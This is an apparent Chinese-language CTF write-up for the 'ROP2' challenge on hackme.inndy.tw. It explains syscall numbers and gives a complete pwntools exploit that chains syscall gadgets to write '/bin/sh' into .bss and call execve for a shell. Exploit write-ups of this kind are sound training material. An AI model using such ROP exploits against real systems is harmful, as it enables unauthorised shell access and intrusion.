ROP2

2018-08-16  本文已影响0人  2mpossible

题目用了syscall来调用了write,read函数,可以查看一下调用号

locate unistd_32
//或者
locate unistd_64

随便查看其中一个文件就可以看到调用号了

所以栈溢出rop调用read函数往bss段写'/bin/sh'然后再syscall(11,'/bin/sh',0,0) 即execve('/bin/sh',0,0),这里要注意execve的第一个参数是'/bin/sh'的地址

objdump -d -j .plt rop2         可以查看文件可用的plt

exp:

from pwn import *

#p = process('./rop2')
p = remote('hackme.inndy.tw',7703)
p.recvuntil('ropchain:')

payload = 'a'* 0xc + 'aaaa'
syscall_plt = 0x08048320
pppp_ret = 0x08048578
bss = 0x0804A020
#gdb.attach(p)
payload += p32(syscall_plt) + p32(pppp_ret)
payload += p32(3) + p32(0) + p32(bss) + p32(8)
payload += p32(syscall_plt) + p32(0xdeadbeef)
payload += p32(11) + p32(bss) + p32(0) + p32(0)

p.sendline(payload)

p.send('/bin/sh\x00')

p.interactive()
上一篇下一篇

猜你喜欢

热点阅读